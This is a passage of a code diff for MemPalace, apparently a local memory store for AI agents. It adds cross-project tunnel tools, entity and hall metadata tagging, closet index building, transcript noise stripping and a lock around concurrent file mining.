w = m.get("wing", "unknown")
wings[w] = wings.get(w, 0) + 1
except Exception as e:
@@ -352,6 +393,7 @@ def tool_list_rooms(wing: str = None):
where = {"wing": wing} if wing else None
all_meta = _fetch_all_metadata(col, where=where)
for m in all_meta:
m = m or {}
r = m.get("room", "unknown")
rooms[r] = rooms.get(r, 0) + 1
except Exception as e:
@@ -370,6 +412,7 @@ def tool_get_taxonomy():
try:
all_meta = _get_cached_metadata(col)
for m in all_meta:
m = m or {}
w = m.get("wing", "unknown")
r = m.get("room", "unknown")
if w not in taxonomy:
@@ -496,6 +539,66 @@ def tool_graph_stats():
return graph_stats(col=col)
def tool_create_tunnel(
source_wing: str,
source_room: str,
target_wing: str,
target_room: str,
label: str = "",
source_drawer_id: str = None,
target_drawer_id: str = None,
):
"""Create an explicit cross-wing tunnel between two palace locations.
Use when you notice content in one project relates to another project.
Example: an API design discussion in project_api connects to the
database schema in project_database.
"""
try:
source_wing = sanitize_name(source_wing, "source_wing")
source_room = sanitize_name(source_room, "source_room")
target_wing = sanitize_name(target_wing, "target_wing")
target_room = sanitize_name(target_room, "target_room")
except ValueError as e:
return {"error": str(e)}
return create_tunnel(
source_wing,
source_room,
target_wing,
target_room,
label=label,
source_drawer_id=source_drawer_id,
target_drawer_id=target_drawer_id,
)
def tool_list_tunnels(wing: str = None):
"""List all explicit cross-wing tunnels, optionally filtered by wing."""
try:
wing = _sanitize_optional_name(wing, "wing")
except ValueError as e:
return {"error": str(e)}
return list_tunnels(wing)
def tool_delete_tunnel(tunnel_id: str):
"""Delete an explicit tunnel by its ID."""
if not tunnel_id or not isinstance(tunnel_id, str):
return {"error": "tunnel_id is required"}
return delete_tunnel(tunnel_id)
def tool_follow_tunnels(wing: str, room: str):
"""Follow explicit tunnels from a room to see connected drawers in other wings."""
try:
wing = sanitize_name(wing, "wing")
room = sanitize_name(room, "room")
except ValueError as e:
return {"error": str(e)}
col = _get_collection()
return follow_tunnels(wing, room, col=col)
# ==================== WRITE TOOLS ====================
@@ -740,7 +843,7 @@ def tool_update_drawer(drawer_id: str, content: str = None, wing: str = None, ro
def tool_kg_query(entity: str, as_of: str = None, direction: str = "both"):
"""Query the knowledge graph for an entity's relationships."""
try:
entity = sanitize_name(entity, "entity")
entity = sanitize_kg_value(entity, "entity")
except ValueError as e:
return {"error": str(e)}
if direction not in ("outgoing", "incoming", "both"):
@@ -754,9 +857,9 @@ def tool_kg_add(
):
"""Add a relationship to the knowledge graph."""
try:
subject = sanitize_name(subject, "subject")
subject = sanitize_kg_value(subject, "subject")
predicate = sanitize_name(predicate, "predicate")
object = sanitize_name(object, "object")
object = sanitize_kg_value(object, "object")
except ValueError as e:
return {"success": False, "error": str(e)}
@@ -779,9 +882,9 @@ def tool_kg_add(
def tool_kg_invalidate(subject: str, predicate: str, object: str, ended: str = None):
"""Mark a fact as no longer true (set end date)."""
try:
subject = sanitize_name(subject, "subject")
subject = sanitize_kg_value(subject, "subject")
predicate = sanitize_name(predicate, "predicate")
object = sanitize_name(object, "object")
object = sanitize_kg_value(object, "object")
except ValueError as e:
return {"success": False, "error": str(e)}
_wal_log(
@@ -800,7 +903,7 @@ def tool_kg_timeline(entity: str = None):
"""Get chronological timeline of facts, optionally for one entity."""
if entity is not None:
try:
entity = sanitize_name(entity, "entity")
entity = sanitize_kg_value(entity, "entity")
except ValueError as e:
return {"error": str(e)}
results = _kg.timeline(entity)
@@ -836,7 +939,10 @@ def tool_diary_write(agent_name: str, entry: str, topic: str = "general"):
return _no_palace()
now = datetime.now()
entry_id = f"diary_{wing}_{now.strftime('%Y%m%d_%H%M%S')}_{hashlib.sha256(entry[:50].encode()).hexdigest()[:12]}"
entry_id = (
f"diary_{wing}_{now.strftime('%Y%m%d_%H%M%S%f')}_"
f"{hashlib.sha256(entry.encode()).hexdigest()[:12]}"
)
_wal_log(
"diary_write",
@@ -1181,6 +1287,65 @@ TOOLS = {
"input_schema": {"type": "object", "properties": {}},
"handler": tool_graph_stats,
},
"mempalace_create_tunnel": {
"description": "Create a cross-wing tunnel linking two palace locations. Use when content in one project relates to another — e.g., an API design in project_api connects to a database schema in project_database.",
"input_schema": {
"type": "object",
"properties": {
"source_wing": {"type": "string", "description": "Wing of the source"},
"source_room": {"type": "string", "description": "Room in the source wing"},
"target_wing": {"type": "string", "description": "Wing of the target"},
"target_room": {"type": "string", "description": "Room in the target wing"},
"label": {"type": "string", "description": "Description of the connection"},
"source_drawer_id": {
"type": "string",
"description": "Optional specific drawer ID",
},
"target_drawer_id": {
"type": "string",
"description": "Optional specific drawer ID",
},
},
"required": ["source_wing", "source_room", "target_wing", "target_room"],
},
"handler": tool_create_tunnel,
},
"mempalace_list_tunnels": {
"description": "List all explicit cross-wing tunnels. Optionally filter by wing.",
"input_schema": {
"type": "object",
"properties": {
"wing": {
"type": "string",
"description": "Filter tunnels by wing (shows tunnels where wing is source or target)",
},
},
},
"handler": tool_list_tunnels,
},
"mempalace_delete_tunnel": {
"description": "Delete an explicit tunnel by its ID.",
"input_schema": {
"type": "object",
"properties": {
"tunnel_id": {"type": "string", "description": "Tunnel ID to delete"},
},
"required": ["tunnel_id"],
},
"handler": tool_delete_tunnel,
},
"mempalace_follow_tunnels": {
"description": "Follow tunnels from a room to see what it connects to in other wings. Returns connected rooms with drawer previews.",
"input_schema": {
"type": "object",
"properties": {
"wing": {"type": "string", "description": "Wing to start from"},
"room": {"type": "string", "description": "Room to follow tunnels from"},
},
"required": ["wing", "room"],
},
"handler": tool_follow_tunnels,
},
"mempalace_search": {
"description": "Semantic search. Returns verbatim drawer content with similarity scores. IMPORTANT: 'query' must contain ONLY search keywords. Use 'context' for background. Results with cosine distance > max_distance are filtered out.",
"input_schema": {
@@ -1509,7 +1674,21 @@ def handle_request(request):
}
def _restore_stdout():
"""Restore real stdout for MCP JSON-RPC output (see issue #225)."""
global _REAL_STDOUT, _REAL_STDOUT_FD
if _REAL_STDOUT_FD is not None:
try:
os.dup2(_REAL_STDOUT_FD, 1)
os.close(_REAL_STDOUT_FD)
except OSError:
pass
_REAL_STDOUT_FD = None
sys.stdout = _REAL_STDOUT
def main():
_restore_stdout()
logger.info("MemPalace MCP Server starting...")
while True:
try:
+17 -13
View File
@@ -7,8 +7,10 @@ Reads documents and metadata directly from the palace's SQLite database
then re-imports everything into a fresh palace using the currently installed
ChromaDB version.
This fixes the 3.0.0 → 3.1.0 upgrade path where chromadb was downgraded
from 1.5.x to 0.6.x, breaking the on-disk storage format.
Since mempalace 3.2.0 (chromadb>=1.5.4), chromadb automatically migrates
0.4.1+ databases on first open — no manual migration needed for upgrades.
Use this command only when downgrading chromadb (e.g. rolling back to an
older mempalace release) or if automatic migration fails.
Usage:
mempalace migrate # migrate default palace
@@ -33,13 +35,15 @@ def extract_drawers_from_sqlite(db_path: str) -> list:
conn.row_factory = sqlite3.Row
# Get all embedding IDs and their documents
rows = conn.execute("""
rows = conn.execute(
"""
SELECT e.embedding_id,
MAX(CASE WHEN em.key = 'chroma:document' THEN em.string_value END) as document
FROM embeddings e
JOIN embedding_metadata em ON em.id = e.id
GROUP BY e.embedding_id
""").fetchall()
"""
).fetchall()
drawers = []
for row in rows:
@@ -132,7 +136,7 @@ def confirm_destructive_action(
def migrate(palace_path: str, dry_run: bool = False, confirm: bool = False):
"""Migrate a palace to the currently installed ChromaDB version."""
import chromadb
from .backends.chroma import ChromaBackend
palace_path = os.path.abspath(os.path.expanduser(palace_path))
db_path = os.path.join(palace_path, "chroma.sqlite3")
@@ -150,19 +154,19 @@ def migrate(palace_path: str, dry_run: bool = False, confirm: bool = False):
# Detect version
source_version = detect_chromadb_version(db_path)
target_version = ChromaBackend.backend_version()
print(f" Source: ChromaDB {source_version}")
print(f" Target: ChromaDB {chromadb.__version__}")
print(f" Target: ChromaDB {target_version}")
# Try reading with current chromadb first
try:
client = chromadb.PersistentClient(path=palace_path)
col = client.get_collection("mempalace_drawers")
col = ChromaBackend().get_collection(palace_path, "mempalace_drawers")
count = col.count()
print(f"\n Palace is already readable by chromadb {chromadb.__version__}.")
print(f"\n Palace is already readable by chromadb {target_version}.")
print(f" {count} drawers found. No migration needed.")
return True
except Exception:
print(f"\n Palace is NOT readable by chromadb {chromadb.__version__}.")
print(f"\n Palace is NOT readable by chromadb {target_version}.")
print(" Extracting from SQLite directly...")
# Extract all drawers via raw SQL
@@ -206,8 +210,8 @@ def migrate(palace_path: str, dry_run: bool = False, confirm: bool = False):
temp_palace = tempfile.mkdtemp(prefix="mempalace_migrate_")
print(f" Creating fresh palace in {temp_palace}...")
client = chromadb.PersistentClient(path=temp_palace)
col = client.get_or_create_collection("mempalace_drawers")
fresh_backend = ChromaBackend()
col = fresh_backend.get_or_create_collection(temp_palace, "mempalace_drawers")
# Re-import in batches
batch_size = 500
@@ -225,7 +229,7 @@ def migrate(palace_path: str, dry_run: bool = False, confirm: bool = False):
# Verify before swapping
final_count = col.count()
del col
del client
del fresh_backend
# Swap: remove old palace, move new one into place
print(" Swapping old palace for migrated version...")
+251 -32
View File
@@ -15,7 +15,17 @@ from pathlib import Path
from datetime import datetime
from collections import defaultdict
from .palace import SKIP_DIRS, get_collection, file_already_mined
from .palace import (
NORMALIZE_VERSION,
SKIP_DIRS,
build_closet_lines,
file_already_mined,
get_closets_collection,
get_collection,
mine_lock,
purge_file_closets,
upsert_closet_lines,
)
READABLE_EXTENSIONS = {
".txt",
@@ -26,6 +36,7 @@ READABLE_EXTENSIONS = {
".jsx",
".tsx",
".json",
".jsonl",
".yaml",
".yml",
".html",
@@ -52,7 +63,14 @@ SKIP_FILENAMES = {
CHUNK_SIZE = 800 # chars per drawer
CHUNK_OVERLAP = 100 # overlap between chunks
MIN_CHUNK_SIZE = 50 # skip tiny chunks
MAX_FILE_SIZE = 10 * 1024 * 1024 # 10 MB — skip files larger than this
MAX_FILE_SIZE = 500 * 1024 * 1024 # 500 MB — skip files larger than this.
# Long Claude Code sessions and large transcript exports routinely exceed
# 10 MB. The cap exists as a defensive rail against pathological binary
# files, not as a limit on legitimate text. Per-drawer size is bounded
# by CHUNK_SIZE, but larger sources still produce proportionally more
# drawers and therefore more storage, embedding, and processing work —
# and file reads are not streamed (the whole content is loaded into
# memory before chunking), so memory use scales with source size too.
# =============================================================================
@@ -254,16 +272,32 @@ def load_config(project_dir: str) -> dict:
"""Load mempalace.yaml from project directory (falls back to mempal.yaml)."""
import yaml
config_path = Path(project_dir).expanduser().resolve() / "mempalace.yaml"
resolved_project_dir = Path(project_dir).expanduser().resolve()
config_path = resolved_project_dir / "mempalace.yaml"
if not config_path.exists():
# Fallback to legacy name
legacy_path = Path(project_dir).expanduser().resolve() / "mempal.yaml"
legacy_path = resolved_project_dir / "mempal.yaml"
if legacy_path.exists():
config_path = legacy_path
else:
print(f"ERROR: No mempalace.yaml found in {project_dir}")
print(f"Run: mempalace init {project_dir}")
sys.exit(1)
wing_name = resolved_project_dir.name
print(
f" No mempalace.yaml found in {resolved_project_dir} "
f"— using auto-detected defaults (wing='{wing_name}'). "
"Directories with the same basename will share a wing; "
"add mempalace.yaml to disambiguate.",
file=sys.stderr,
)
return {
"wing": wing_name,
"rooms": [
{
"name": "general",
"description": "All project files",
"keywords": ["general"],
}
],
}
with open(config_path) as f:
return yaml.safe_load(f)
@@ -368,6 +402,145 @@ def chunk_text(content: str, source_file: str) -> list:
# =============================================================================
_ENTITY_REGISTRY_PATH = os.path.join(os.path.expanduser("~"), ".mempalace", "known_entities.json")
_ENTITY_REGISTRY_CACHE: dict = {"mtime": None, "names": frozenset(), "raw": {}}
_ENTITY_EXTRACT_WINDOW = 5000 # chars of content scanned for capitalized words
_ENTITY_METADATA_LIMIT = 25 # max entities packed into the metadata field
def _refresh_known_entities_cache() -> None:
"""Reload ``~/.mempalace/known_entities.json`` into the module cache if
its mtime changed since the last read. Shared by ``_load_known_entities``
(flat set) and ``_load_known_entities_raw`` (category dict), so callers
can pick whichever shape they need without duplicating the mtime-gated
disk read.
"""
try:
mtime = os.path.getmtime(_ENTITY_REGISTRY_PATH)
except OSError:
if _ENTITY_REGISTRY_CACHE["mtime"] is not None:
_ENTITY_REGISTRY_CACHE["mtime"] = None
_ENTITY_REGISTRY_CACHE["names"] = frozenset()
_ENTITY_REGISTRY_CACHE["raw"] = {}
return
if _ENTITY_REGISTRY_CACHE["mtime"] == mtime:
return
names: set = set()
raw: dict = {}
try:
import json
with open(_ENTITY_REGISTRY_PATH, "r", encoding="utf-8") as f:
data = json.load(f)
if isinstance(data, dict):
raw = data
for cat in data.values():
if isinstance(cat, list):
names.update(str(n) for n in cat if n)
elif isinstance(cat, dict):
names.update(str(k) for k in cat.keys() if k)
except Exception:
names = set()
raw = {}
_ENTITY_REGISTRY_CACHE["mtime"] = mtime
_ENTITY_REGISTRY_CACHE["names"] = frozenset(names)
_ENTITY_REGISTRY_CACHE["raw"] = raw
def _load_known_entities() -> frozenset:
"""Flat set of every known entity name (across all categories).
Cached by mtime; invalidated when the registry file changes.
"""
_refresh_known_entities_cache()
return _ENTITY_REGISTRY_CACHE["names"]
def _load_known_entities_raw() -> dict:
"""Full category-dict view of the registry, shape
``{"category": ["Name1", ...], ...}``. Cached by mtime.
Consumed by modules (e.g., fact_checker) that need to reason about
categories rather than a flat name set. Never returns a mutable
reference to the cache — callers get a shallow copy.
"""
_refresh_known_entities_cache()
return dict(_ENTITY_REGISTRY_CACHE["raw"])
_HALL_KEYWORDS_CACHE = None
def detect_hall(content: str) -> str:
"""Route content to a hall based on keyword scoring.
Halls connect rooms within a wing — they categorize the TYPE of content
(emotional, technical, family, etc.) while rooms categorize the TOPIC.
"""
global _HALL_KEYWORDS_CACHE
if _HALL_KEYWORDS_CACHE is None:
from .config import MempalaceConfig
_HALL_KEYWORDS_CACHE = MempalaceConfig().hall_keywords
content_lower = content[:3000].lower()
scores = {}
for hall, keywords in _HALL_KEYWORDS_CACHE.items():
score = sum(1 for kw in keywords if kw in content_lower)
if score > 0:
scores[hall] = score
if scores:
return max(scores, key=scores.get)
return "general"
def _extract_entities_for_metadata(content: str) -> str:
"""Extract entity names from content for metadata tagging.
Combines the user's known-entity registry (cached across calls) with
capitalized words appearing ≥2 times in the first ``_ENTITY_EXTRACT_WINDOW``
chars. Filters out the closet stoplist (``When``, ``After``, ``The``, …)
so sentence-starters don't masquerade as proper nouns.
Returns semicolon-separated string suitable for ChromaDB metadata
filtering. The list is truncated to ``_ENTITY_METADATA_LIMIT`` entries
*before* joining so a name is never cut in half.
"""
import re
from .palace import _ENTITY_STOPLIST
matched: set = set()
known = _load_known_entities()
for name in known:
if re.search(r"(?<!\w)" + re.escape(name) + r"(?!\w)", content):
matched.add(name)
from .palace import _candidate_entity_words
window = content[:_ENTITY_EXTRACT_WINDOW]
words = _candidate_entity_words(window)
freq: dict = {}
for w in words:
if w in _ENTITY_STOPLIST:
continue
freq[w] = freq.get(w, 0) + 1
for w, c in freq.items():
if c >= 2 and len(w) > 2:
matched.add(w)
if not matched:
return ""
# Truncate the *list*, not the joined string — never split a name.
capped = sorted(matched)[:_ENTITY_METADATA_LIMIT]
return ";".join(capped)
def add_drawer(
collection, wing: str, room: str, content: str, source_file: str, chunk_index: int, agent: str
):
@@ -381,12 +554,19 @@ def add_drawer(
"chunk_index": chunk_index,
"added_by": agent,
"filed_at": datetime.now().isoformat(),
"normalize_version": NORMALIZE_VERSION,
}
# Store file mtime so we can detect modifications later.
try:
metadata["source_mtime"] = os.path.getmtime(source_file)
except OSError:
pass
# Tag with hall for graph connectivity within wings
metadata["hall"] = detect_hall(content)
# Tag with entity names for filterable search
entities = _extract_entities_for_metadata(content)
if entities:
metadata["entities"] = entities
collection.upsert(
documents=[content],
ids=[drawer_id],
@@ -410,6 +590,7 @@ def process_file(
rooms: list,
agent: str,
dry_run: bool,
closets_col=None,
) -> tuple:
"""Read, chunk, route, and file one file. Returns (drawer_count, room_name)."""
@@ -431,32 +612,66 @@ def process_file(
chunks = chunk_text(content, source_file)
if dry_run:
print(f" [DRY RUN] {filepath.name} → room:{room} ({len(chunks)} drawers)")
print(f" [DRY RUN] {filepath.name} -> room:{room} ({len(chunks)} drawers)")
return len(chunks), room
# Purge stale drawers for this file before re-inserting the fresh chunks.
# Converts modified-file re-mines from upsert-over-existing-IDs (which hits
# hnswlib's thread-unsafe updatePoint path and can segfault on macOS ARM
# with chromadb 0.6.3) into a clean delete+insert, bypassing the update
# path entirely.
try:
collection.delete(where={"source_file": source_file})
except Exception:
pass
# Lock this file so concurrent agents don't interleave delete+insert.
# Without the lock, two agents can both pass file_already_mined(),
# both delete, and both insert — creating duplicates or losing data.
with mine_lock(source_file):
# Re-check after acquiring lock — another agent may have just finished
if file_already_mined(collection, source_file, check_mtime=True):
return 0, room
drawers_added = 0
for chunk in chunks:
added = add_drawer(
collection=collection,
wing=wing,
room=room,
content=chunk["content"],
source_file=source_file,
chunk_index=chunk["chunk_index"],
agent=agent,
)
if added:
drawers_added += 1
# Purge stale drawers for this file before re-inserting the fresh chunks.
# Converts modified-file re-mines from upsert-over-existing-IDs (which hits
# hnswlib's thread-unsafe updatePoint path and can segfault on macOS ARM
# with chromadb 0.6.3) into a clean delete+insert, bypassing the update
# path entirely.
try:
collection.delete(where={"source_file": source_file})
except Exception:
pass
drawers_added = 0
for chunk in chunks:
added = add_drawer(
collection=collection,
wing=wing,
room=room,
content=chunk["content"],
source_file=source_file,
chunk_index=chunk["chunk_index"],
agent=agent,
)
if added:
drawers_added += 1
# Build closet — the searchable index pointing to these drawers.
# Purge first: a re-mine (mtime change or normalize_version bump) must
# fully replace the prior closets, not append to them.
if closets_col and drawers_added > 0:
drawer_ids = [
f"drawer_{wing}_{room}_{hashlib.sha256((source_file + str(c['chunk_index'])).encode()).hexdigest()[:24]}"
for c in chunks
]
closet_lines = build_closet_lines(source_file, drawer_ids, content, wing, room)
closet_id_base = (
f"closet_{wing}_{room}_{hashlib.sha256(source_file.encode()).hexdigest()[:24]}"
)
entities = _extract_entities_for_metadata(content)
closet_meta = {
"wing": wing,
"room": room,
"source_file": source_file,
"drawer_count": drawers_added,
"filed_at": datetime.now().isoformat(),
"normalize_version": NORMALIZE_VERSION,
}
if entities:
closet_meta["entities"] = entities
purge_file_closets(closets_col, source_file)
upsert_closet_lines(closets_col, closet_id_base, closet_lines, closet_meta)
return drawers_added, room
@@ -574,12 +789,14 @@ def mine(
print(" .gitignore: DISABLED")
if include_ignored:
print(f" Include: {', '.join(sorted(normalize_include_paths(include_ignored)))}")
print(f"{'─' * 55}\n")
print(f"{'-' * 55}\n")
if not dry_run:
collection = get_collection(palace_path)
closets_col = get_closets_collection(palace_path)
else:
collection = None
closets_col = None
total_drawers = 0
files_skipped = 0
@@ -594,6 +811,7 @@ def mine(
rooms=rooms,
agent=agent,
dry_run=dry_run,
closets_col=closets_col,
)
if drawers == 0 and not dry_run:
files_skipped += 1
@@ -601,7 +819,7 @@ def mine(
total_drawers += drawers
room_counts[room] += 1
if not dry_run:
print(f" ✓ [{i:4}/{len(files)}] {filepath.name[:50]:50} +{drawers}")
print(f" + [{i:4}/{len(files)}] {filepath.name[:50]:50} +{drawers}")
print(f"\n{'=' * 55}")
print(" Done.")
@@ -636,6 +854,7 @@ def status(palace_path: str):
wing_rooms = defaultdict(lambda: defaultdict(int))
for m in metas:
m = m or {}
wing_rooms[m.get("wing", "?")][m.get("room", "?")] += 1
print(f"\n{'=' * 55}")
+113 -7
View File
@@ -16,9 +16,98 @@ No API key. No internet. Everything local.
import json
import os
import re
from pathlib import Path
from typing import Optional
# Provenance footer appended to Slack transcript output so downstream consumers
# know the speaker roles are positionally assigned, not verified.
_SLACK_PROVENANCE_FOOTER = (
"\n[source: slack-export | multi-party chat — speaker roles are positional, not verified]"
)
# ─── Noise stripping ─────────────────────────────────────────────────────
# Claude Code and other tools inject system tags, hook output, and UI chrome
# into transcripts. These waste drawer space and pollute search results.
#
# Verbatim is sacred — every pattern here is anchored to line boundaries and
# refuses to cross blank lines, so a stray unclosed tag in one message can
# never eat content from neighboring messages. When in doubt, leave text
# alone.
_NOISE_TAGS = (
"system-reminder",
"command-message",
"command-name",
"task-notification",
"user-prompt-submit-hook",
"hook_output",
)
def _tag_pattern(name: str) -> "re.Pattern[str]":
# Opening tag must begin a line (optionally after a `> ` blockquote marker,
# since _messages_to_transcript prefixes lines with `> `). Body is lazy but
# forbidden from crossing a blank line, so a dangling open tag can't span
# multiple messages. Closing tag eats optional trailing whitespace + newline.
return re.compile(
rf"(?m)^(?:> )?<{name}(?:\s[^>]*)?>" rf"(?:(?!\n\s*\n)[\s\S])*?" rf"</{name}>[ \t]*\n?"
)
_NOISE_TAG_PATTERNS = [_tag_pattern(t) for t in _NOISE_TAGS]
# Strings that identify an entire noise line when found at its start.
# Matched case-sensitively and anchored to line-start so user prose mentioning
# e.g. "current time:" in a sentence is untouched.
_NOISE_LINE_PREFIXES = (
"CURRENT TIME:",
"VERIFIED FACTS (do not contradict)",
"AGENT SPECIALIZATION:",
"Checking verified facts...",
"Injecting timestamp...",
"Starting background pipeline...",
"Checking emotional weights...",
"Auto-save reminder...",
"Checking pipeline...",
"MemPalace auto-save checkpoint.",
)
_NOISE_LINE_PATTERNS = [
re.compile(rf"(?m)^(?:> )?{re.escape(p)}.*\n?") for p in _NOISE_LINE_PREFIXES
]
# Claude Code TUI hook-run chrome, e.g. "Ran 2 Stop hook", "Ran 1 PreCompact hook".
# Line-anchored, case-sensitive, explicit hook names — prose like
# "our CI has a stop hook" stays intact.
_HOOK_LINE_RE = re.compile(
r"(?m)^(?:> )?Ran \d+ (?:Stop|PreCompact|PreToolUse|PostToolUse|UserPromptSubmit|Notification|SessionStart|SessionEnd) hook[s]?.*\n?"
)
# "… +N lines" collapsed-output marker, line-anchored.
_COLLAPSED_LINES_RE = re.compile(r"(?m)^(?:> )?…\s*\+\d+ lines.*\n?")
def strip_noise(text: str) -> str:
"""Remove system tags, hook output, and Claude Code UI chrome from text.
All patterns are line-anchored. User prose that happens to mention these
strings inline (e.g., documenting them) is preserved verbatim.
"""
for pat in _NOISE_TAG_PATTERNS:
text = pat.sub("", text)
for pat in _NOISE_LINE_PATTERNS:
text = pat.sub("", text)
text = _HOOK_LINE_RE.sub("", text)
text = _COLLAPSED_LINES_RE.sub("", text)
# Strip the Claude Code collapsed-output chrome "[N tokens] (ctrl+o to expand)".
# Narrow shape — a bare "(ctrl+o to expand)" in user prose stays intact.
text = re.sub(r"\s*\[\d+\s+tokens?\]\s*\(ctrl\+o to expand\)", "", text)
# Collapse runs of blank lines created by the removals
text = re.sub(r"\n{4,}", "\n\n\n", text)
return text.strip()
def normalize(filepath: str) -> str:
"""
@@ -40,12 +129,14 @@ def normalize(filepath: str) -> str:
if not content.strip():
return content
# Already has > markers — pass through
# Already has > markers — pass through unchanged.
lines = content.split("\n")
if sum(1 for line in lines if line.strip().startswith(">")) >= 3:
return content
# Try JSON normalization
# Try JSON normalization. strip_noise is applied inside the Claude Code
# JSONL parser (the only format that injects system tags/hook chrome);
# other formats pass through verbatim.
ext = Path(filepath).suffix.lower()
if ext in (".json", ".jsonl") or content.strip()[:1] in ("{", "["):
normalized = _try_normalize_json(content)
@@ -112,6 +203,10 @@ def _try_claude_code_jsonl(content: str) -> Optional[str]:
isinstance(b, dict) and b.get("type") == "tool_result" for b in msg_content
)
text = _extract_content(msg_content, tool_use_map=tool_use_map)
# Strip Claude Code system-injected noise per message, never across
# message boundaries — prevents span-eating.
if text:
text = strip_noise(text)
if text:
if is_tool_only and messages and messages[-1][0] == "assistant":
# Append tool results to the previous assistant message
@@ -121,6 +216,8 @@ def _try_claude_code_jsonl(content: str) -> Optional[str]:
messages.append(("user", text))
elif msg_type == "assistant":
text = _extract_content(msg_content, tool_use_map=tool_use_map)
if text:
text = strip_noise(text)
if text:
# If previous message is also assistant (multi-turn tool loop),
# merge into the same assistant turn
@@ -276,8 +373,13 @@ def _try_chatgpt_json(data) -> Optional[str]:
def _try_slack_json(data) -> Optional[str]:
"""
Slack channel export: [{"type": "message", "user": "...", "text": "..."}]
Optimized for 2-person DMs. In channels with 3+ people, alternating
speakers are labeled user/assistant to preserve the exchange structure.
Slack exports are multi-party chats where no speaker is inherently the
"user" or "assistant". To preserve exchange-pair chunking (which relies
on ``>`` markers from the ``user`` role), we still alternate roles, but
prefix each message with the speaker ID so downstream consumers can
distinguish the original author. A provenance header marks the
transcript as a Slack import.
"""
if not isinstance(data, list):
return None
@@ -287,7 +389,10 @@ def _try_slack_json(data) -> Optional[str]:
for item in data:
if not isinstance(item, dict) or item.get("type") != "message":
continue
user_id = item.get("user", item.get("username", ""))
raw_user_id = item.get("user", item.get("username", ""))
# Sanitize speaker ID: strip brackets, newlines, and control chars
# to prevent chunk-boundary injection via crafted exports
user_id = re.sub(r"[\[\]\n\r\x00-\x1f]", "_", raw_user_id).strip()
text = item.get("text", "").strip()
if not text or not user_id:
continue
@@ -300,9 +405,10 @@ def _try_slack_json(data) -> Optional[str]:
else:
seen_users[user_id] = "user"
last_role = seen_users[user_id]
messages.append((seen_users[user_id], text))
# Prefix with speaker ID so the original author is preserved
messages.append((seen_users[user_id], f"[{user_id}] {text}"))
if len(messages) >= 2:
return _messages_to_transcript(messages)
return _messages_to_transcript(messages) + _SLACK_PROVENANCE_FOOTER
return None
+274 -4
View File
@@ -4,7 +4,10 @@ palace.py — Shared palace operations.
Consolidates collection access patterns used by both miners and the MCP server.
"""
import contextlib
import hashlib
import os
import re
from .backends.chroma import ChromaBackend
@@ -36,6 +39,16 @@ SKIP_DIRS = {
_DEFAULT_BACKEND = ChromaBackend()
# Schema version for drawer normalization. Bump when the normalization
# pipeline changes in a way that existing drawers should be rebuilt to pick up
# (e.g., new noise-stripping rules). `file_already_mined` treats drawers with
# a missing or stale `normalize_version` as "not mined", so the next mine pass
# silently rebuilds them — users don't need to manually erase + re-mine.
#
# v2 (2026-04): introduced strip_noise() for Claude Code JSONL; previous
# drawers stored system tags / hook chrome verbatim.
NORMALIZE_VERSION = 2
def get_collection(
palace_path: str,
@@ -50,19 +63,276 @@ def get_collection(
)
def get_closets_collection(palace_path: str, create: bool = True):
"""Get the closets collection — the searchable index layer."""
return get_collection(palace_path, collection_name="mempalace_closets", create=create)
CLOSET_CHAR_LIMIT = 1500 # fill closet until ~1500 chars, then start a new one
CLOSET_EXTRACT_WINDOW = 5000 # how many chars of source content to scan for entities/topics
# Common capitalized words that look like proper nouns but are usually
# sentence-starters or filler. Filtered out of entity extraction.
_ENTITY_STOPLIST = frozenset(
{
"The",
"This",
"That",
"These",
"Those",
"When",
"Where",
"What",
"Why",
"Who",
"Which",
"How",
"After",
"Before",
"Then",
"Now",
"Here",
"There",
"And",
"But",
"Or",
"Yet",
"So",
"If",
"Else",
"Yes",
"No",
"Maybe",
"Okay",
"User",
"Assistant",
"System",
"Tool",
"Monday",
"Tuesday",
"Wednesday",
"Thursday",
"Friday",
"Saturday",
"Sunday",
"January",
"February",
"March",
"April",
"May",
"June",
"July",
"August",
"September",
"October",
"November",
"December",
}
)
_CANDIDATE_RX_CACHE = None
def _candidate_entity_words(text: str) -> list:
"""Find entity candidate words using i18n-aware patterns.
Uses the same candidate_patterns as entity_detector (loaded from locale
JSON files via get_entity_patterns), so non-Latin names (Cyrillic,
accented Latin, etc.) are detected alongside ASCII names.
"""
global _CANDIDATE_RX_CACHE
if _CANDIDATE_RX_CACHE is None:
from .config import MempalaceConfig
from .i18n import get_entity_patterns
patterns = get_entity_patterns(MempalaceConfig().entity_languages)
rxs = []
for pat in patterns["candidate_patterns"]:
try:
rxs.append(re.compile(pat))
except re.error:
continue
_CANDIDATE_RX_CACHE = rxs
words = []
for rx in _CANDIDATE_RX_CACHE:
words.extend(rx.findall(text))
return words
def build_closet_lines(source_file, drawer_ids, content, wing, room):
"""Build compact closet pointer lines from drawer content.
Returns a LIST of lines (not joined). Each line is one complete topic
pointer — never split across closets.
Format: topic|entities|→drawer_ids
"""
import re
from pathlib import Path
drawer_ref = ",".join(drawer_ids[:3])
window = content[:CLOSET_EXTRACT_WINDOW]
# Extract proper nouns (2+ occurrences). Uses i18n-aware patterns so
# non-Latin names (Cyrillic, accented Latin, etc.) are also detected.
words = _candidate_entity_words(window)
word_freq = {}
for w in words:
if w in _ENTITY_STOPLIST:
continue
word_freq[w] = word_freq.get(w, 0) + 1
entities = sorted(
[w for w, c in word_freq.items() if c >= 2],
key=lambda w: -word_freq[w],
)[:5]
entity_str = ";".join(entities) if entities else ""
# Extract key phrases — action verbs + context
topics = []
for pattern in [
r"(?:built|fixed|wrote|added|pushed|tested|created|decided|migrated|reviewed|deployed|configured|removed|updated)\s+[\w\s]{3,40}",
]:
topics.extend(re.findall(pattern, window, re.IGNORECASE))
# Also grab section headers if present
for header in re.findall(r"^#{1,3}\s+(.{5,60})$", window, re.MULTILINE):
topics.append(header.strip())
# Dedupe preserving order
topics = list(dict.fromkeys(t.strip().lower() for t in topics))[:12]
# Extract quotes
quotes = re.findall(r'"([^"]{15,150})"', window)
# Build pointer lines — each one is atomic, never split
lines = []
for topic in topics:
lines.append(f"{topic}|{entity_str}|→{drawer_ref}")
for quote in quotes[:3]:
lines.append(f'"{quote}"|{entity_str}|→{drawer_ref}')
# Always have at least one line
if not lines:
name = Path(source_file).stem[:40]
lines.append(f"{wing}/{room}/{name}|{entity_str}|→{drawer_ref}")
return lines
def purge_file_closets(closets_col, source_file: str) -> None:
"""Delete every closet associated with ``source_file``.
Call this before ``upsert_closet_lines`` on a re-mine so stale topics
from a prior schema/version don't survive in the closet collection.
Mirrors the drawer-purge step in process_file().
"""
try:
closets_col.delete(where={"source_file": source_file})
except Exception:
pass
def upsert_closet_lines(closets_col, closet_id_base, lines, metadata):
